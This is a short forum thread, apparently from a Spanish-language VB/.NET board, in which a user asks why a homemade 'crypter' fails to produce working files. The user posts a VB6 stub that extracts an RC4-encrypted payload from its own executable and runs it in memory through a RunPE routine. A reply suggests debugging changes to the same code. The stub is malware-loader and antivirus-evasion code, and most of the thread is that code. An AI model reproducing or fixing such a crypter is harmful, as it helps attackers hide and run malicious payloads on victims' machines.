hello
i was following busTer tutorial and made my own crypter. when i try to crypt it dint work. the encrypted file that is create doesnt open. please tell me whats the problem. posting my stub below

SPANISH:
Hola Yo estaba siguiendo tutorial de Buster y hizo que mi crypter propia. cuando trato de trabajo que a fuerza cripta. el archivo cifrado que se crean no se abre. por favor dígame cuál es el problema. publicar mi talón de abajo


STUB

Código: Seleccionar todo

Sub Main()
Dim Data As String
Dim RunPE As New cPEL
Dim buffer() As Byte

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
Data = Input(LOF(1), 1)
Close #1

Data = Mid(Data, InStr(Data, "_lappy_") + Len("_lappy_"))
Data = RC4.RC4(Data, "lappy")

buffer() = StrConv(Data, vbFromUnicode)

RunPE.RunPE buffer()


End Sub
Tendriamos que ver como esta el codigo del encyptador tambien, pero a primeras yo por mi parte pondria mas strings a medida que transformo el archivo por ejem.

Código: Seleccionar todo

Dim Data As String, Data1 As String, Data2 As String

Data = Input(LOF(1), 1)

Data1 = Mid(Data, InStr(Data, "_lappy_") + Len("_lappy_"))

Data2 = RC4.RC4(Data1, "lappy")

buffer() = StrConv(Data2, vbFromUnicode)

pero como te dije habria que ver el code completo
Sds
Imagen
Responder

Volver a “VB/.NET”